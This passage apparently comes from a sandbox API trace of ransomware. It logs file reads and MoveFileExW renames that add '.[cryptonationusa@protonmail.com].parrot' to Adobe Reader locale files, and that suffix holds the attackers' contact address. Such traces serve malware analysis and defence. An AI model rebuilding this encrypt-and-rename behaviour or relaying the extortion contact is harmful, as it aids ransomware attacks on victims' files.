SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.340] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0254.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.341] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0254.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0254.346] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.346] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.348] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0254.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.349] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322688 | out: hHeap=0x5b0000) returned 1 [0254.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.354] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.355] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5e00, lpOverlapped=0x0) returned 1 [0254.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.357] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0254.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322688 | out: hHeap=0x5b0000) returned 1 [0254.361] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.362] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.372] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0254.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.373] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322688 | out: hHeap=0x5b0000) returned 1 [0254.381] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0254.381] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0254.381] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.381] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0254.381] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0254.381] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0254.382] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.382] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0254.383] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.384] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9251, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9251, lpOverlapped=0x0) returned 1 [0254.385] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.385] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0254.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0254.392] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.392] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0254.393] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.393] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe7, lpOverlapped=0x0) returned 1 [0254.394] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.394] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0254.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0254.399] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0254.399] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a38800, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x23a38800, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.399] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x23a38800, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9378, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0254.399] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.399] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.401] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0254.402] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.402] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e648 | out: hHeap=0x5b0000) returned 1 [0254.408] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.408] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.409] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0254.410] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.411] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e648 | out: hHeap=0x5b0000) returned 1 [0254.417] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.417] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.419] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e00, lpOverlapped=0x0) returned 1 [0254.420] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.420] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322688 | out: hHeap=0x5b0000) returned 1 [0254.428] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0254.428] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a84ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x23a84ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.429] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x2301aa80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xad28, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0254.430] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0254.432] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0254.432] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.432] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0254.432] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0254.432] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0254.433] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.433] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.434] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa600, lpOverlapped=0x0) returned 1 [0254.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.439] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0254.445] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.445] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.447] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x63a00, lpOverlapped=0x0) returned 1 [0254.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.508] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.512] HeapFree (in: hHeap=0x5b0000, 